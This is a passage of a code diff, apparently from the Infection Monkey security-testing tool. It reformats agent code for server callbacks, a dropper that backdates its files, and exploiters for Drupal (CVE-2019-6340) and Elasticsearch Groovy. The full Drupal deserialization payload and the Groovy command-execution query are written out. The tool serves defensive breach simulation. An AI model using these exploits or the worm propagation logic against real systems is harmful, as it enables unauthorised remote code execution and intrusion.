+ "https://%s/api/monkey/download/%s"
+ % (WormConfiguration.current_server, filename),
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
- with monkeyfs.open(dest_file, 'wb') as file_obj:
+ with monkeyfs.open(dest_file, "wb") as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
@@ -274,8 +307,9 @@ class ControlClient(object):
return dest_file
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
@@ -286,24 +320,28 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return None, None
try:
- reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123
- data=json.dumps(host_dict),
- headers={'content-type': 'application/json'},
- verify=False, proxies=ControlClient.proxies,
- timeout=LONG_REQUEST_TIMEOUT)
+ reply = requests.post( # noqa: DUO123
+ "https://%s/api/monkey/download" % (WormConfiguration.current_server,),
+ data=json.dumps(host_dict),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=LONG_REQUEST_TIMEOUT,
+ )
if 200 == reply.status_code:
result_json = reply.json()
- filename = result_json.get('filename')
+ filename = result_json.get("filename")
if not filename:
return None, None
- size = result_json.get('size')
+ size = result_json.get("size")
return filename, size
else:
return None, None
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
return None, None
@@ -312,11 +350,11 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return None
- my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
+ my_proxy = ControlClient.proxies.get("https", "").replace("https://", "")
if my_proxy:
proxy_class = TcpProxy
try:
- target_addr, target_port = my_proxy.split(':', 1)
+ target_addr, target_port = my_proxy.split(":", 1)
target_port = int(target_port)
except ValueError:
return None
@@ -329,49 +367,63 @@ class ControlClient(object):
@staticmethod
def get_pba_file(filename):
try:
- return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123
- (WormConfiguration.current_server, filename),
- verify=False,
- proxies=ControlClient.proxies,
- timeout=LONG_REQUEST_TIMEOUT)
+ return requests.get( # noqa: DUO123
+ PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename),
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=LONG_REQUEST_TIMEOUT,
+ )
except requests.exceptions.RequestException:
return False
@staticmethod
def get_T1216_pba_file():
try:
- return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123
- T1216_PBA_FILE_DOWNLOAD_PATH),
- verify=False,
- proxies=ControlClient.proxies,
- stream=True,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ return requests.get( # noqa: DUO123
+ urljoin(
+ f"https://{WormConfiguration.current_server}/",
+ T1216_PBA_FILE_DOWNLOAD_PATH,
+ ),
+ verify=False,
+ proxies=ControlClient.proxies,
+ stream=True,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except requests.exceptions.RequestException:
return False
@staticmethod
def should_monkey_run(vulnerable_port: str) -> bool:
- if vulnerable_port and \
- WormConfiguration.get_hop_distance_to_island() > 1 and \
- ControlClient.can_island_see_port(vulnerable_port) and \
- WormConfiguration.started_on_island:
- raise PlannedShutdownException("Monkey shouldn't run on current machine "
- "(it will be exploited later with more depth).")
+ if (
+ vulnerable_port
+ and WormConfiguration.get_hop_distance_to_island() > 1
+ and ControlClient.can_island_see_port(vulnerable_port)
+ and WormConfiguration.started_on_island
+ ):
+ return False
+
return True
@staticmethod
def can_island_see_port(port):
try:
- url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
- response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT)
+ url = (
+ f"https://{WormConfiguration.current_server}/api/monkey_control"
+ f"/check_remote_port/{port}"
+ )
+ response = requests.get( # noqa: DUO123
+ url, verify=False, timeout=SHORT_REQUEST_TIMEOUT
+ )
response = json.loads(response.content.decode())
- return response['status'] == "port_visible"
+ return response["status"] == "port_visible"
except requests.exceptions.RequestException:
return False
@staticmethod
def report_start_on_island():
- requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
- data=json.dumps({'started_on_island': True}),
- verify=False,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ requests.post( # noqa: DUO123
+ f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
+ data=json.dumps({"started_on_island": True}),
+ verify=False,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 9b374c9f1..781a0614a 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -12,10 +12,13 @@ from ctypes import c_char_p
from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.config import WormConfiguration
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
-from infection_monkey.model import GENERAL_CMDLINE_LINUX, MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS
from infection_monkey.system_info import OperatingSystem, SystemInfoCollector
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from infection_monkey.utils.commands import (
+ build_monkey_commandline_explicitly,
+ get_monkey_commandline_linux,
+ get_monkey_commandline_windows,
+)
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@@ -29,7 +32,6 @@ except NameError:
# noinspection PyShadowingBuiltins
WindowsError = IOError
-__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -39,108 +41,143 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
arg_parser = argparse.ArgumentParser()
- arg_parser.add_argument('-p', '--parent')
- arg_parser.add_argument('-t', '--tunnel')
- arg_parser.add_argument('-s', '--server')
- arg_parser.add_argument('-d', '--depth', type=int)
- arg_parser.add_argument('-l', '--location')
- arg_parser.add_argument('-vp', '--vulnerable-port')
+ arg_parser.add_argument("-p", "--parent")
+ arg_parser.add_argument("-t", "--tunnel")
+ arg_parser.add_argument("-s", "--server")
+ arg_parser.add_argument("-d", "--depth", type=int)
+ arg_parser.add_argument("-l", "--location")
+ arg_parser.add_argument("-vp", "--vulnerable-port")
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
- self._config = {'source_path': os.path.abspath(sys.argv[0]),
- 'destination_path': self.opts.location}
+ self._config = {
+ "source_path": os.path.abspath(sys.argv[0]),
+ "destination_path": self.opts.location,
+ }
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
- if self._config['destination_path'] is None:
+ if self._config["destination_path"] is None:
LOG.error("No destination path specified")
return False
# we copy/move only in case path is different
try:
- file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
+ file_moved = filecmp.cmp(self._config["source_path"], self._config["destination_path"])
except OSError:
file_moved = False
- if not file_moved and os.path.exists(self._config['destination_path']):
- os.remove(self._config['destination_path'])
+ if not file_moved and os.path.exists(self._config["destination_path"]):
+ os.remove(self._config["destination_path"])
# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
try:
- shutil.move(self._config['source_path'],
- self._config['destination_path'])
+ shutil.move(self._config["source_path"], self._config["destination_path"])
- LOG.info("Moved source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ LOG.info(
+ "Moved source file '%s' into '%s'",
+ self._config["source_path"],
+ self._config["destination_path"],
+ )
file_moved = True
except (WindowsError, IOError, OSError) as exc:
- LOG.debug("Error moving source file '%s' into '%s': %s",
- self._config['source_path'], self._config['destination_path'],
- exc)
+ LOG.debug(
+ "Error moving source file '%s' into '%s': %s",
+ self._config["source_path"],
+ self._config["destination_path"],
+ exc,
+ )
# if file still need to change path, copy it
if not file_moved:
try:
- shutil.copy(self._config['source_path'],
- self._config['destination_path'])
+ shutil.copy(self._config["source_path"], self._config["destination_path"])
- LOG.info("Copied source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ LOG.info(
+ "Copied source file '%s' into '%s'",
+ self._config["source_path"],
+ self._config["destination_path"],
+ )
except (WindowsError, IOError, OSError) as exc:
- LOG.error("Error copying source file '%s' into '%s': %s",
- self._config['source_path'], self._config['destination_path'],
- exc)
+ LOG.error(
+ "Error copying source file '%s' into '%s': %s",
+ self._config["source_path"],
+ self._config["destination_path"],
+ exc,
+ )
return False
if WormConfiguration.dropper_set_date:
- if sys.platform == 'win32':
- dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
+ if sys.platform == "win32":
+ dropper_date_reference_path = os.path.expandvars(
+ WormConfiguration.dropper_date_reference_path_windows
+ )
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError:
- LOG.warning("Cannot set reference date using '%s', file not found",
- dropper_date_reference_path)
+ LOG.warning(
+ "Cannot set reference date using '%s', file not found",
+ dropper_date_reference_path,
+ )
else:
try:
- os.utime(self._config['destination_path'],
- (ref_stat.st_atime, ref_stat.st_mtime))
+ os.utime(
+ self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
+ )
except OSError:
LOG.warning("Cannot set reference date to destination file")
- monkey_options = \
- build_monkey_commandline_explicitly(parent=self.opts.parent,
- tunnel=self.opts.tunnel,
- server=self.opts.server,
- depth=self.opts.depth,
- location=None,
- vulnerable_port=self.opts.vulnerable_port)
+ monkey_options = build_monkey_commandline_explicitly(
+ parent=self.opts.parent,
+ tunnel=self.opts.tunnel,
+ server=self.opts.server,
+ depth=self.opts.depth,
+ location=None,
+ vulnerable_port=self.opts.vulnerable_port,
+ )
if OperatingSystem.Windows == SystemInfoCollector.get_os():
- monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
+ monkey_commandline = get_monkey_commandline_windows(
+ self._config["destination_path"], monkey_options
+ )
+
+ monkey_process = subprocess.Popen(
+ monkey_commandline,
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ close_fds=True,
+ creationflags=DETACHED_PROCESS,
+ )
else:
- dest_path = self._config['destination_path']
- # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
- # runs the monkey
- inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
- monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
- 'monkey_commandline': inner_monkey_cmdline}
+ dest_path = self._config["destination_path"]
+ # In Linux, we need to change the directory first, which is done
+ # using thw `cwd` argument in `subprocess.Popen` below
- monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
- stdin=subprocess.PIPE,
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- close_fds=True, creationflags=DETACHED_PROCESS)
+ monkey_commandline = get_monkey_commandline_linux(dest_path, monkey_options)
- LOG.info("Executed monkey process (PID=%d) with command line: %s",
- monkey_process.pid, monkey_cmdline)
+ monkey_process = subprocess.Popen(
+ monkey_commandline,
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ close_fds=True,
+ cwd="/".join(dest_path.split("/")[0:-1]),
+ creationflags=DETACHED_PROCESS,
+ )
+
+ LOG.info(
+ "Executed monkey process (PID=%d) with command line: %s",
+ monkey_process.pid,
+ " ".join(monkey_commandline),
+ )
time.sleep(3)
if monkey_process.poll() is not None:
@@ -150,25 +187,36 @@ class MonkeyDrops(object):
LOG.info("Cleaning up the dropper")
try:
- if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
- os.path.exists(self._config['source_path']) and \
- WormConfiguration.dropper_try_move_first:
+ if (
+ (self._config["source_path"].lower() != self._config["destination_path"].lower())
+ and os.path.exists(self._config["source_path"])
+ and WormConfiguration.dropper_try_move_first
+ ):
# try removing the file first
try:
- os.remove(self._config['source_path'])
+ os.remove(self._config["source_path"])
except Exception as exc:
- LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
+ LOG.debug(
+ "Error removing source file '%s': %s", self._config["source_path"], exc
+ )
# mark the file for removal on next boot
- dropper_source_path_ctypes = c_char_p(self._config['source_path'])
- if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
- MOVEFILE_DELAY_UNTIL_REBOOT):
- LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
- self._config['source_path'], ctypes.windll.kernel32.GetLastError())
+ dropper_source_path_ctypes = c_char_p(self._config["source_path"])
+ if 0 == ctypes.windll.kernel32.MoveFileExA(
+ dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
+ ):
+ LOG.debug(
+ "Error marking source file '%s' for deletion on next boot (error "
+ "%d)",
+ self._config["source_path"],
+ ctypes.windll.kernel32.GetLastError(),
+ )
else:
- LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
- self._config['source_path'])
+ LOG.debug(
+ "Dropper source file '%s' is marked for deletion on next boot",
+ self._config["source_path"],
+ )
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
LOG.info("Dropper cleanup complete")
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index cf9d2ed70..774d69aed 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -1,5 +1,4 @@
{
- "should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
@@ -62,7 +61,6 @@
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT",
- "remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index 59d593b09..3a5abf4c5 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -8,9 +8,6 @@ from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration
from infection_monkey.utils.plugins.plugin import Plugin
-__author__ = 'itamar'
-
-
logger = logging.getLogger(__name__)
@@ -37,7 +34,8 @@ class HostExploiter(Plugin):
EXPLOIT_TYPE = ExploitType.VULNERABILITY
# Determines if successful exploitation should stop further exploit attempts on that machine.
- # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
+ # Generally, should be True for RCE type exploiters and False if we don't expect the
+ # exploiter to run the monkey agent.
# Example: Zerologon steals credentials
RUNS_AGENT_ON_SUCCESS = True
@@ -48,31 +46,42 @@ class HostExploiter(Plugin):
def __init__(self, host):
self._config = WormConfiguration
- self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
- 'started': '',
- 'finished': '',
- 'vulnerable_urls': [],
- 'vulnerable_ports': [],
- 'executed_cmds': []}
+ self.exploit_info = {
+ "display_name": self._EXPLOITED_SERVICE,
+ "started": "",
+ "finished": "",
+ "vulnerable_urls": [],
+ "vulnerable_ports": [],
+ "executed_cmds": [],
+ }
self.exploit_attempts = []
self.host = host
def set_start_time(self):
- self.exploit_info['started'] = datetime.now().isoformat()
+ self.exploit_info["started"] = datetime.now().isoformat()
def set_finish_time(self):
- self.exploit_info['finished'] = datetime.now().isoformat()
+ self.exploit_info["finished"] = datetime.now().isoformat()
def is_os_supported(self):
- return self.host.os.get('type') in self._TARGET_OS_TYPE
+ return self.host.os.get("type") in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
from infection_monkey.telemetry.exploit_telem import ExploitTelem
+
ExploitTelem(self, result).send()
- def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
- self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
- 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
+ def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
+ self.exploit_attempts.append(
+ {
+ "result": result,
+ "user": user,
+ "password": password,
+ "lm_hash": lm_hash,
+ "ntlm_hash": ntlm_hash,
+ "ssh_key": ssh_key,
+ }
+ )
def exploit_host(self):
self.pre_exploit()
@@ -80,9 +89,9 @@ class HostExploiter(Plugin):
try:
result = self._exploit_host()
except FailedExploitationError as e:
- logger.debug(f'Exploiter failed: {e}.')
+ logger.debug(f"Exploiter failed: {e}.")
except Exception:
- logger.error('Exception in exploit_host', exc_info=True)
+ logger.error("Exception in exploit_host", exc_info=True)
finally:
self.post_exploit()
return result
@@ -98,10 +107,10 @@ class HostExploiter(Plugin):
raise NotImplementedError()
def add_vuln_url(self, url):
- self.exploit_info['vulnerable_urls'].append(url)
+ self.exploit_info["vulnerable_urls"].append(url)
def add_vuln_port(self, port):
- self.exploit_info['vulnerable_ports'].append(port)
+ self.exploit_info["vulnerable_ports"].append(port)
def add_executed_cmd(self, cmd):
"""
@@ -109,5 +118,4 @@ class HostExploiter(Plugin):
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
- self.exploit_info['executed_cmds'].append(
- {'cmd': cmd, 'powershell': powershell})
+ self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 04b0ce431..48b60a2c5 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -1,7 +1,8 @@
"""
Remote Code Execution on Drupal server - CVE-2019-6340
Implementation is based on:
- https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
+ https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88
+ /f9f6a5bb6605745e292bee3a4079f261d891738a.
"""
import logging
@@ -9,39 +10,40 @@ from urllib.parse import urljoin
import requests
-from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
- MEDIUM_REQUEST_TIMEOUT)
+from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
-__author__ = 'Ophir Harpaz'
-
LOG = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Drupal Server'
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ _EXPLOITED_SERVICE = "Drupal Server"
def __init__(self, host):
super(DrupalExploiter, self).__init__(host)
def get_exploit_config(self):
"""
- We override this function because the exploits requires a special extension in the URL, "node",
+ We override this function because the exploits requires a special extension in the URL,
+ "node",
e.g. an exploited URL would be http://172.1.2.3:/node/3.
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
- exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
- 'drupal/node/'] # However, Bitnami installations are under /drupal
- exploit_config['dropper'] = True
+ exploit_config["url_extensions"] = [
+ "node/", # In Linux, no path is added
+ "drupal/node/",
+ ] # However, Bitnami installations are under /drupal
+ exploit_config["dropper"] = True
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
"""
- We need a specific implementation of this function in order to add the URLs *with the node IDs*.
+ We need a specific implementation of this function in order to add the URLs *with the
+ node IDs*.
We therefore check, for every potential URL, all possible node IDs.
:param potential_urls: Potentially-vulnerable URLs
:param stop_checking: Stop if one vulnerable URL is found
@@ -51,66 +53,74 @@ class DrupalExploiter(WebRCE):
try:
node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
- LOG.info('Could not find a Drupal node to attack')
+ LOG.info("Could not find a Drupal node to attack")
continue
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
- self.add_vuln_url(url) # This is for report. Should be refactored in the future
+ self.add_vuln_url(
+ url
+ ) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
except Exception as e: # We still don't know which errors to expect
- LOG.error(f'url {url} failed in exploitability check: {e}')
+ LOG.error(f"url {url} failed in exploitability check: {e}")
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
def check_if_exploitable(self, url):
"""
Check if a certain URL is exploitable.
- We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
+ We use this specific implementation (and not simply run self.exploit) because this
+ function does not "waste"
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
payload = build_exploitability_check_payload(url)
- response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
- json=payload,
- headers={"Content-Type": "application/hal+json"},
- verify=False,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ response = requests.get( # noqa: DUO123
+ f"{url}?_format=hal_json",
+ json=payload,
+ headers={"Content-Type": "application/hal+json"},
+ verify=False,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
if is_response_cached(response):
- LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
+ LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
return False
- return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
+ return "INVALID_VALUE does not correspond to an entity on this site" in response.text
def exploit(self, url, command):
# pad a easy search replace output:
- cmd = f'echo {ID_STRING} && {command}'
+ cmd = f"echo {ID_STRING} && {command}"
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
- json=payload,
- headers={"Content-Type": "application/hal+json"},
- verify=False,
- timeout=LONG_REQUEST_TIMEOUT)
+ r = requests.get( # noqa: DUO123
+ f"{url}?_format=hal_json",
+ json=payload,
+ headers={"Content-Type": "application/hal+json"},
+ verify=False,
+ timeout=LONG_REQUEST_TIMEOUT,
+ )
if is_response_cached(r):
- LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
+ LOG.info(f"Exploiting {url} returned cache HIT, may have failed")
if ID_STRING not in r.text:
- LOG.warning('Command execution _may_ have failed')
+ LOG.warning("Command execution _may_ have failed")
result = r.text.split(ID_STRING)[-1]
return result
def get_target_url(self):
"""
- We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
+ We're overriding this method such that every time self.exploit is invoked, we use a fresh
+ vulnerable URL.
Reusing the same URL eliminates its exploitability because of caching reasons :)
:return: vulnerable URL to exploit
"""
@@ -121,19 +131,23 @@ class DrupalExploiter(WebRCE):
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
:return: Whether the list of vulnerable URLs has at least 5 elements.
"""
- # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
+ # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey,
+ # chmod it and run it.
num_urls_needed_for_full_exploit = 5
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
- LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
- f'but only {num_available_urls} found')
+ LOG.info(
+ f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
+ f"Drupal server "
+ f"but only {num_available_urls} found"
+ )
return result
def is_response_cached(r: requests.Response) -> bool:
""" Check if a response had the cache header. """
- return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+ return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT"
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
@@ -141,12 +155,12 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
- response = requests.get(node_url,
- verify=False,
- timeout=LONG_REQUEST_TIMEOUT) # noqa: DUO123
+ response = requests.get( # noqa: DUO123
+ node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
+ )
if response.status_code == 200:
if is_response_cached(response):
- LOG.info(f'Found a cached article at: {node_url}, skipping')
+ LOG.info(f"Found a cached article at: {node_url}, skipping")
else:
articles.add(lower)
lower += 1
@@ -155,20 +169,10 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
def build_exploitability_check_payload(url):
payload = {
- "_links": {
- "type": {
- "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
- }
- },
- "type": {
- "target_id": "article"
- },
- "title": {
- "value": "My Article"
- },
- "body": {
- "value": ""
- }
+ "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
+ "type": {"target_id": "article"},
+ "title": {"value": "My Article"},
+ "body": {"value": ""},
}
return payload
@@ -178,21 +182,17 @@ def build_cmd_execution_payload(base, cmd):
"link": [
{
"value": "link",
- "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
- "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
- "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
- "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
- "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
- "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
- "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
- "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
- "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+ "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
+ 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
+ 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
+ '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
+ 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
+ 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
+ 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
+ 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
+ "".replace("|size|", str(len(cmd))).replace("|command|", cmd),
}
],
- "_links": {
- "type": {
- "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
- }
- }
+ "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}},
}
return payload
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index dfaffac6a..ec2133216 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -1,6 +1,7 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
- https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
+ https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66
+ /modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
@@ -13,38 +14,50 @@ import requests
from common.common_consts.network_consts import ES_SERVICE
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CMD_PREFIX, DOWNLOAD_TIMEOUT, ID_STRING,
- WGET_HTTP_UPLOAD)
+from infection_monkey.model import (
+ BITSADMIN_CMDLINE_HTTP,
+ CHECK_COMMAND,
+ CMD_PREFIX,
+ DOWNLOAD_TIMEOUT,
+ ID_STRING,
+ WGET_HTTP_UPLOAD,
+)
from infection_monkey.network.elasticfinger import ES_PORT
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
-__author__ = 'danielg, VakarisZ'
-
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
- GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
- JAVA_CMD = \
- GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
+ GENERIC_QUERY = (
+ """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
+ )
+ JAVA_CMD = GENERIC_QUERY % (
+ """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
+ """\\"%s\\").getText()"""
+ )
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Elastic search'
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ _EXPLOITED_SERVICE = "Elastic search"
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
- exploit_config['dropper'] = True
- exploit_config['url_extensions'] = ['_search?pretty']
